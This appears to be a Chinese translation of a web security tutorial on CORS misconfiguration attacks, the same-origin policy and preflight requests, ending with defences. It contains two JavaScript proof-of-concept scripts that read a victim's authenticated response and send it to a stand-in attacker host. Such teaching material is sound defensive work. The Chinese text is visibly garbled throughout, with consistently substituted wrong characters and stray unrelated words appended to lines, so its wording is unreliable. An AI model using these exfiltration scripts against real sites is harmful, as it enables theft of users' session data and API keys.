在本节中,咱们将解释什么是跨域资源共享(CORS
),并描述一些基于 CORS
的常见攻击示例,以及讨论如何防护这些攻击。html
CORS
(跨域资源共享)是一种浏览器机制,它容许对位于当前访问域以外的资源进行受控访问。它扩展并增长了同源策略的灵活性。然而,若是一个网站的 CORS
策略配置和实现不当,它也可能致使基于跨域的攻击。CORS
不是针对跨源攻击(例如跨站请求伪造 CSRF
)的保护。web
同源策略是一种限制性的跨域规范,它限制了网站与源域以外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另外一个网站窃取私人数据。它一般容许域向其余域发出请求,但不容许访问响应。正则表达式
更多内容可参考下本 Same-origin-policy 。api
同源策略具备很大的限制性,所以人们设计了不少方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求彻底的跨域访问。使用跨域资源共享(CORS
)能够有控制地放宽同源策略。跨域
CORS
协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否容许经过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。浏览器
更多内容可参考下文 CORS and the Access-Control-Allow-Origin response header 。缓存
如今许多网站使用 CORS
来容许来自子域和可信的第三方的访问。他们对 CORS
的实现可能包含有错误或过于放宽,这可能致使可利用的漏洞。安全
有些应用程序须要容许不少其它域的访问。维护一个容许域的列表须要付出持续的努力,任何差错都有可能形成破坏。所以,应用程序可能使用一些更加简单的方法来达到最终目的。服务器
一种方法是从请求头中读取 Origin
,而后将其做为 Access-Control-Allow-Origin
响应头返回。例如,应用程序接受了如下请求:cookie
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
而后,其响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true
响应头代表容许从请求域进行访问,而且跨域请求能够包括 cookies(Access-Control-Allow-Credentials: true
),所以浏览器将会在会话中进行处理。
因为应用程序在 Access-Control-Allow-Origin
头中直接返回了请求域,这意味着任何域均可以访问资源。若是响应中包含了任何敏感信息,如 API key 或者 CSRF token 则均可以被获取,你能够在你的网站上放置如下脚本进行检索:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; };
某些应用程序使用白名单机制来实现可信来源的访问容许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,若是在白名单中,则在 Access-Control-Allow-Origin
头中返回请求的 origin 以容许其跨域访问。例如,应用程序收到了以下的请求:
GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com
应用程序检查白名单列表,若是 origin 在表中,则响应:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
在实现 CORS origin 白名单时极可能会犯一些失误。某个组织决定容许从其全部子域(包括还没有存在的将来子域)进行访问。应用程序容许从其余组织的域(包括其子域)进行访问。这些规则一般经过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误均可能致使访问权限被授予意外的外部域。
例如,假设应用程序容许如下结尾的全部域的访问权限:
normal-website.com
攻击者则能够经过注册如下域来得到访问权限(结尾匹配):
hackersnormal-website.com
或者应用程序容许如下开头的全部域的访问权限:
normal-website.com
攻击者则可使用如下域得到访问权限(开头匹配):
normal-website.com.evil-user.net
浏览器会在如下状况下发送值为 null 的 Origin 头:
file:
协议的请求某些应用程序可能会在白名单中容许 null 以方便本地开发。例如,假设应用程序收到了如下跨域请求:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
在这种状况下,攻击者可使用各类技巧生成 Origin 为 null 的请求以经过白名单,从而得到访问权限。例如,可使用 iframe
沙盒进行跨域请求:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
CORS
会在两个域之间创建信任关系,即便 CORS
是正确的配置,可是若是某个受信任的网站存在 XSS 漏洞,那么攻击者就能够利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。
假设请求为:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...
若是服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
那么攻击者能够经过 subdomain.vulnerable-website.com
网站上的 XSS 漏洞去获取一些敏感数据:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
假设一个严格使用 HTTPS 的应用程序也经过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到如下请求时:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
应用程序响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
在这种状况下,可以拦截受害者用户流量的攻击者能够利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤以下:
http://trusted-subdomain.vulnerable-website.com
https://vulnerable-website.com
http://trusted-subdomain.vulnerable-website.com
即便易受攻击的网站对 HTTPS 的使用没有漏洞,而且没有 HTTP 端点,同时全部 Cookie 都标记为安全,此攻击也是有效的。
大部分 CORS
攻击都须要如下响应头的存在:
Access-Control-Allow-Credentials: true
没有这个响应头,受害者的浏览器将不会发送 cookies ,这意味着攻击者只能访问无需用户验证的内容,而这些内容直接访问目标网站就能够轻松得到。
然而,有一种状况下攻击者没法直接访问网站:网站是内网,而且是私有 IP 地址空间。内网的安全标准一般低于外网,这使得攻击者发现漏洞后能够得到进一步的访问权限。例如,某个私有网络中的跨域请求:
GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: *
服务器信任全部来源的跨域请求,并且无需凭证。若是私有IP地址空间内的用户访问公共互联网,则能够从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器做为访问内网资源的代理。
CORS
漏洞主要是因为错误的配置而产生的,所以防御措施主要也是如何进行正确配置的问题。下面将会描述一些有效的方法。
若是 web 资源包含敏感信息,那么应该在 Access-Control-Allow-Origin
头中声明容许的来源。
Access-Control-Allow-Origin
头只能是受信任的站点。Access-Control-Allow-Origin
直接使用跨域请求的 origin 而不验证是很容易被利用的,应该避免。
避免 Access-Control-Allow-Origin: null
。来自内部文档和沙盒请求的跨域资源调用能够指定 origin 为 null 的。CORS 头应该根据私有和公共服务器的可信来源正肯定义。
避免在内部网络中使用通配符。当内部浏览器能够访问不受信任的外部域时,仅仅依靠网络配置来保护内部资源是不够的。
CORS
定义的只是浏览器行为,永远不能替代服务端对敏感数据的保护,毕竟攻击者能够直接在其它环境中伪造来自任何 origin 的请求。所以,除了正确配置的 CORS 以外,web 服务端仍然须要使用诸如身份验证和会话管理等措施对敏感数据进行保护。
在本节中,咱们将解释什么是同源策略以及它是如何实现的。
同源策略是一种旨在防止网站互相攻击的 web 浏览器的安全机制。
同源策略限制一个源上的脚本访问另外一个源的数据。
Origin 源由三个部分组成:schema
、domain
、port
,所谓的同源就是要求这三个部分所有相同。 例以下面这个 URL:
http://normal-website.com/example/example.html
其 schema
是 http,domain
是 normal-website.com
,port
是 80 。下表显示了若是上述 URL 中的内容尝试访问其它源将会是什么状况:
访问的 URL | 是否能够访问 |
---|---|
http://normal-website.com/example/ |
是,同源 |
http://normal-website.com/example2/ |
是,同源 |
https://normal-website.com/example/ |
否: scheme 和 port 都不一样 |
http://en.normal-website.com/example/ |
否: domain 不一样 |
http://www.normal-website.com/example/ |
否: domain 不一样 |
http://normal-website.com:8080/example/ |
否: port 不一样* |
*IE 浏览器将会容许访问,由于 IE 浏览器在应用同源策略时不考虑端口号。
当浏览器从一个源发送 HTTP 请求到另外一个源时,与另外一个源相关的任何 cookie (包括身份验证会话cookie)也将会做为请求的一部分一块儿发送。这意味着响应将在用户会话中返回,并包含此特定用户的相关数据。若是没有同源策略,若是你访问了一个恶意网站,它将可以读取你 GMail 中的电子邮件、Facebook 上的私人消息等。
同源策略一般控制 JavaScript 代码对跨域加载的内容的访问。一般容许页面资源的跨域加载。例如,同源策略容许经过 <img>
标签嵌入图像,经过 <video>
标签嵌入媒体、以及经过 <script>
标签嵌入 JavaScript 。可是,页面只能加载这些外部资源,页面上的任何 JavaScript 都没法读取这些资源的内容。
同源策略也有一些例外:
location
对象,或者来自 iframes 或新窗口的 location.href
属性。window
对象的 length
属性和 closed
属性。location
对象上能够跨域调用 replace
函数。close
、blur
、focus
函数。也能够在 iframes 和新窗口上 postMessage
函数以将消息从一个域发送到另外一个域。因为历史遗留,在处理 cookie 时,同源策略更为宽松,一般能够从站点的全部子域访问它们,即便每一个子域并不知足同源的要求。你可使用 HttpOnly
必定程度缓解这个风险。
使用 document.domain
能够放宽同源策略,这个特殊属性容许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com
,而且你想读取 example.com
域的内容。为此,两个域都须要设置 document.domain
为 example.com
,那么同源策略将会容许这里两个域之间的访问,尽管它们并不一样源。在过去,你能够将 document.domain
设置为顶级域名如 com
,以容许同一个顶级域名上的任何域之间的访问,可是现代浏览器已经不容许这么作了。
在本节中,咱们将解释有关 CORS
的 Access-Control-Allow-Origin
响应头,以及后者如何构成 CORS
实现的一部分。
CORS
经过使用一组 HTTP 头部提供了同源策略的可控制放宽,浏览器容许访问基于这些头部的跨域请求的响应。
Access-Control-Allow-Origin
响应头标识了跨域请求容许的请求来源,浏览器会将 Access-Control-Allow-Origin
与请求网站 origin 进行比较,若是二者匹配则容许访问响应。
CORS
规范规定了 web 服务器和浏览器之间交换的头内容,其中 Access-Control-Allow-Origin
是最重要的。当网站发起跨域资源请求时,浏览器将会自动添加 Origin
头,随后服务器返回 Access-Control-Allow-Origin
响应头。
例如,origin 为 normal-website.com
的网站发起了以下跨域请求:
GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com
服务器响应:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com
浏览器将会容许 normal-website.com
网站代码访问响应,由于 Access-Control-Allow-Origin
与 Origin
匹配。
Access-Control-Allow-Origin
容许多个域,或者 null
,或者通配符 *
。可是没有浏览器支持多个 origin ,且通配符的使用有限制。
跨域资源请求的默认行为是传递请求时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域请求,服务器经过设置 Access-Control-Allow-Credentials: true
响应头能够容许浏览器读取响应。例如,某个网站使用 JavaScript 去控制发起请求时一块儿发送 cookies :
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
获得的响应为:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true
那么浏览器将会容许发起请求的网站读取响应,由于 Access-Control-Allow-Credentials
设置为了 true
。不然,浏览器将不容许访问响应。
Access-Control-Allow-Origin
头支持使用通配符 *
,如
Access-Control-Allow-Origin: *
注意:通配符不能与其余值一块儿使用,以下方式是非法的:
Access-Control-Allow-Origin: https://*.normal-website.com
幸运的是,基于安全考虑,通配符的使用是有限制的,你不能同时使用通配符与带凭证的跨域传输。所以,如下形式的服务器响应是不容许的:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
由于这是很是危险的,这等于向全部人公开目标网站上全部通过身份验证的内容。
为了保护遗留资源不受 CORS 容许的扩展请求的影响,预检也是 CORS 规范中的一部分。在某些状况下,当跨域请求包括非标准的 HTTP method 或 header 时,在进行跨域请求以前,浏览器会先发起一次 method 为 OPTIONS
的请求,而且对服务端响应的 Access-Control-*
之类的头进行初步检查,对比 origin、method 和 header 等等,这就叫预检。
例如,对使用 PUT
方法和 Special-Request-Header
自定义请求头的预检请求为:
OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header
服务器可能响应:
HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240
这个响应的含义:
Access-Control-Allow-Origin
容许的请求域。Access-Control-Allow-Methods
容许的请求方法。Access-Control-Allow-Headers
容许的请求头。Access-Control-Allow-Credentials
容许带凭证的请求。Access-Control-Max-Age
设置预检响应的最大缓存时间,经过缓存减小预检请求增长的额外的 HTTP 请求往返的开销。CORS 没法提供对跨站请求伪造(CSRF)攻击的防御,这是一个容易出现误解的地方。
CORS 是对同源策略的受控放宽,所以配置不当的 CORS 实际上可能会增长 CSRF 攻击的可能性或加重其影响。